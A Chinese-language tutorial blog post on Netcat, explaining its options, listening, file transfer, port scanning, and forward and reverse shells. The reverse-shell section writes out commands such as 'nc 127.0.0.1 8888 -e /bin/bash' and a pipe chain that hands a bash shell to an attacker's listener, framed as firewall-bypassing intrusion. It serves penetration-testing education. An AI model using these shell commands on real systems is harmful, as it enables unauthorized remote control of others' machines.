Netcat网络安全的瑞士军刀-请把你的shell交给我

一、Netcat介绍

前言:什么是 Netcat?

Netcat 的常见用途

Netcat 命令基本参数

二、Netcat的用法

1. 监听模式(server模式),用于等待来自远程主机的连接

1.1.使用UDP监听

2.Netcat 进行文件发送和接收

2.1. 创建文件并写入内容

2.2. 接收方监听端口

2.3. 发送文件

2.4. 校验文件完整性(对比 MD5 值)

3.Netcat 反弹shell

3.1.正向连接

3.2.反向连接

3.3.多连接(命令与结果剥离)-无-e参数

4.Netcat 进行端口扫描

扫描结果解释

三、结语


一、Netcat介绍

前言:什么是 Netcat?

Netcat(简称 nc)是一种非常强大的网络工具,通常被称为“网络中的瑞士军刀”。它用于进行网络调试和测试,能够读取和写入网络连接数据。Netcat 可以创建几乎任何类型的网络连接,包括 TCP 和 UDP 协议,并提供基本的客户端和服务器功能。因此,它在安全测试、网络诊断以及渗透测试中广泛应用。

Netcat 的功能极其强大,既可以作为客户端,也可以作为服务器,支持端口扫描、数据转发、文件传输、远程控制等多种功能。虽然它的命令非常简单,但可以通过多种组合实现复杂的网络任务。

Netcat 的常见用途

  1. 端口扫描:检查目标主机的哪些端口开放。

  2. 建立客户端和服务器连接:测试客户端和服务器之间的通信。

  3. 数据传输:通过网络传输文件或数据。

  4. 远程控制:通过网络与远程主机建立交互式的 shell。

  5. 监听端口:在目标机器上监听端口,等待连接。

  6. 绕过防火墙:利用 UDP 或特定端口协议实现绕过防火墙的通信。

Netcat 命令基本参数

我们用nc -h来查看帮助文档。

连接到某处:nc [ -options ] hostname ports...
监听传入连接:nc -l -p port [ -options ] [hostname] [port]
​
选项:
 -c shell命令        作为'-e';使用/bin/sh来执行(非常危险!!)
 -e 文件名           连接后执行程序(非常危险!!)
 -b                  允许广播
 -g 网关             源路由跳转点(s),最多8个
 -G 数量             源路由指针:4、8、12,...
 -h                  这个帮助
 -i secs            发送行的延迟间隔,扫描的端口
 -k                  在套接字上设置保持活动选项
 -l                  监听模式,用于传入连接
 -n                  指定不解析主机名,直接使用 IP 地址
 -o 文件             流量的十六进制转储
 -p 端口             本地端口号
 -r                  随机化本地和远程端口
 -q secs            在标准输入上接收到EOF后退出,并延迟关闭连接
 -s 本地源地址      本地源地址
 -T tos             设置服务类型
 -t                  应答TELNET协商
 -u                  UDP模式
 -v                  详细(使用两次会更详细)
 -w secs            连接和最终读取的超时时间
 -C                  将CRLF作为行结束符发送
 -z                  零 - I/O模式(用于扫描)
​
端口号可以是单个或范围:lo - hi [包含];
端口名称中的连字符必须用反斜杠转义(例如,'ftp - data')。

二、Netcat的用法

对以上基本参数,我们通过实际例子来演示Netcat常见用法

1. 监听模式(server模式),用于等待来自远程主机的连接

直接监听端口或者监听对应网站的端口

nc -lp port
nc -lp port 域名
  • nc:使用 Netcat 工具。

  • -l:监听模式,表示 nc 将等待连接。

  • port:指定要监听的端口号。

客户端连接输入ip和端口即可,这时候服务端输入什么客户端也会显示,反之也是一样的,相当于一个会话框了。

nc ip port

ctrl+c即可,退出监听/断开连接

1.1.使用UDP监听

因为nc默认监听方式是TCP,有时需要使用UDP,用-u参数来指定udp传输,连接时也要多加一个-u参数

nc -lup 8888


2.Netcat 进行文件发送和接收

使用 nc(Netcat)进行文件传输并使用 MD5 校验来验证文件传输的完整性。下面我将详细解释如何在两台机器之间使用 Netcat 进行文件发送和接收,并使用 MD5 校验码确保传输的完整性。

步骤概述:

  1. 创建文件并写入内容:你会在发送方(假设为主机A)创建一个文件,并将内容写入该文件。

  2. 设置接收端监听:在接收方(假设为主机B),你会启动 Netcat 监听端口并将接收到的数据写入文件。

  3. 发送文件:发送方使用 Netcat 将文件内容通过网络发送给接收方。

  4. 校验文件完整性:接收方和发送方使用 MD5 校验值比较文件内容,确保文件传输完整。

2.1. 创建文件并写入内容

在发送方(主机A)上,创建一个文件 a.txt 并写入数据:

echo 'hello' > a.txt

此命令会创建一个包含 "hello" 的文本文件 a.txt

2.2. 接收方监听端口

在接收方(主机B)上,启动 Netcat 监听 8888 端口,并将接收到的数据保存到 1.txt

nc -lvvp 8888 >> 1.txt
  • -l:表示监听模式。

  • -v:显示详细输出。

  • -v:再次使用 -v 增强输出的详细信息。

  • -p 8888:监听 8888 端口。

  • >> 1.txt:将接收到的内容追加保存到 1.txt 文件中。

此时,接收方(主机B)正在等待从发送方(主机A)发送的数据。

2.3. 发送文件

将接送方改成> 1.txt,在发送方(主机A)上,使用 nc 发送 a.txt 文件内容到接收方(主机B):

nc [接收方IP] 8888 < a.txt
  • [接收方IP]:替换为接收方主机B的 IP 地址。

  • 8888:发送到接收方监听的端口号。

  • < a.txt:将 a.txt 文件的内容通过标准输入发送到 Netcat。

此命令将 a.txt 文件内容通过网络发送到接收方的 8888 端口。

2.4. 校验文件完整性(对比 MD5 值)

在文件传输完成后,可以使用 md5sum 命令来比较原文件与接收文件的 MD5 值,确认文件传输是否完整。

  • 在发送方(主机A)计算 a.txt 的 MD5 值:md5sum a.txt

  • 在接收方(主机B)计算 1.txt 的 MD5 值:md5sum 1.txt


3.Netcat 反弹shell

我们打开两个窗口终端,一个作为kali(攻击机),一个作为root(目标机器)

3.1.正向连接
  • 正向连接指的是攻击者直接从外部发起连接到受害者的主机所开放的端口。

  • 在反弹Shell攻击的场景中,正向连接通常并不常见,因为它可能会受到防火墙和其他安全机制的阻挡。

首先在这个目标机器(被控端),开启8888端口侦听并用-e参数执行/bin/bash

nc -nvlp 8888 -e /bin/bash
#我们侦听8888端口,如果连接目标机器就执行/bin/bash,有人连我,我就把shell给它。

然后我们kali攻击机,连目标机器的8888端口

nc -nv 127.0.0.1 8888

我们这时候一连就连上了,连上以后,它就会把它的shell执行给我,这时候我们执行这个系统得命令就可以正常执行。

这只是一个理想化的例子,让大家去理解nc的,实战中这种情况几乎没有,毕竟过于理想,在内网环境中,存在各种防火墙,安全设备,突破边界是特别困难的,而且人家防火墙也不可能,给你打开8888端口,所以这种正向的,shell链接往往不太现实,一连就直接连上,过于理想化了。


3.2.反向连接
  • 攻击者设置一个监听端口,等待受害主机发起连接。

  • 受害者机器的恶意脚本或木马程序会主动连接到攻击者的监听端口,而不是攻击者主动连接到受害机器。

  • 这种方式常常绕过受害机器的防火墙或NAT设备(因为通常防火墙会阻止外部向内部发起连接,但允许内部向外部发起连接)。

#kali(攻击机),开启侦听
nc -lvvp 8888

然后我们被控端(目标机器),去链接kali(攻击机)的8888端口,只要目标机器防火墙没有限制服务器的出站连接请求,就可以用它去连接我kali(攻击机)的8888端口,并且一旦连上以后我把我的shell 交给它。

nc 127.0.0.1 8888 -e /bin/bash
#目标机器反向连接攻击者,并且把shell交给攻击机。

这只是一个比较常用的例子,实战中基本都用这一种,在内网环境中可以绕过防火墙的限制。


3.3.多连接(命令与结果剥离)-无-e参数
  • nc有很多不同的版本,有各种各样的版本,其中有的支持-c -e,有的就不支持-c -e这种,不支持的这种就没办法实现反弹shell。

  • 比如我们kali的没有-L(大L),有的nc是有-L的,也就是nc的隧道模式,如果你发现,有-L可以用这个参数来进行内网穿透,如果有隧道呢也可以利用nc去打隧道。

    • 关于隧道这边简单说一下,比如说我们控制了192.168.1.1这台服务器,那如果这个服务器上边的nc有 -L参数,那你就可以利用web服务器上边的nc穿透,访问它的内网,一般来说公司的线上业务系统,都是跟自己公司的办公网络之间,都有vpn的隧道,这时候就可以利用nc -L参数打穿通往内网的隧道,甚至还有一些内网的办公服务器,假如它每一台,每个服务器都支持-L参数,就可以在所有的机器之间建立一条隧道。

nc(Netcat)不支持 -e 参数时,这种情况下要实现反弹shell连接,我们就把前后两个侦听端口串联起来,代替-e参数。

#kali(攻击机),开启两个终端侦听两个端口
nc -lvvp 7777
nc -lvvp 8888

这一步就为了反向连接的串联。

nc -nv 127.0.0.1 7777 | /bin/bash | nc -nv 127.0.0.1 8888
  • 这条命令的工作原理如下:

    • nc -nv 127.0.0.1 7777:目标机器通过 nc 命令连接到攻击机的端口 7777,这时,攻击机会接收到目标机器的连接请求。

    • | /bin/bash:目标机器的Shell(bash)会启动,并接收从端口 7777 发来的输入。所有输入会被传递给 bash 来执行。

    • | nc -nv 127.0.0.1 8888:bash 执行完命令后,输出会被传递到下一个 nc 命令,连接到目标机器的 8888 端口。这时,目标机器的Shell输出就会通过 8888 端口发送到攻击机。

  • 整体流程:

    • 攻击机(Kali)

    • nc -lvvp 7777 监听端口 7777,等待目标机器的反向连接。

    • nc -lvvp 8888 监听端口 8888,等待目标机器的Shell输出。

    • 目标机器

      • nc -nv 127.0.0.1 7777:目标机器通过 nc 命令连接到攻击机的 7777 端口。

      • | /bin/bash:目标机器启动 bash shell,所有的输入通过管道传递给 bash

      • | nc -nv 127.0.0.1 8888:目标机器的Shell输出通过 nc 命令发送到攻击机的 8888 端口。


4.Netcat 进行端口扫描

我们再看看nc -z参数 (端口扫描参数) 看看它哪个端口是开的,不用nmap,直接nc就可以进行扫描探测,nc可以跟任何的四层协议进行连接,只要可以建立四层连接,就说明端口是开放的。

nc -znv ip 1-4000

这个命令用于扫描远程主机(目标机器)上的一系列端口,其格式如下:

  • -z:此选项告诉 nc 执行扫描,而不是建立连接。它只是检查端口是否开放,而不发送任何数据。

  • -n:表示直接使用数字IP地址进行连接,而不通过域名解析。

  • -v:启用详细输出,显示更多的扫描信息。

为了明显直观我拿nc和namp的扫描结果进行比较

可以发现都是一样的

扫描结果解释

假设目标机器 192.168.150.183 的端口 4444 是开放的,你在执行 nc -znv 端口扫描时会看到类似以下的输出:

nc: connect to 192.168.1.100 port 4000 (tcp) failed: Connection refused
nc: connect to 192.168.1.100 port 4001 (tcp) failed: Connection refused
...
nc: connect to 192.168.1.100 port 4444 (tcp) succeeded!
...
nc: connect to 192.168.1.100 port 4500 (tcp) failed: Connection refused

这表示端口 4444 是开放的,而其他端口(如 40004500)是关闭的或被拒绝连接。

三、结语

在本文中,我们全面介绍了 Netcat 这一多功能的网络工具,探讨了其在网络调试、端口扫描、文件传输、反向连接等多个领域中的实际应用。通过学习 Netcat 的常见命令及参数,我们掌握了如何使用它在监听模式下接收连接、进行 UDP 通信、传输文件并验证完整性、以及如何进行端口扫描等操作。此外,我们还探讨了如何利用 Netcat 实现反向 shell,并深入了解了正向和反向连接的不同场景。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值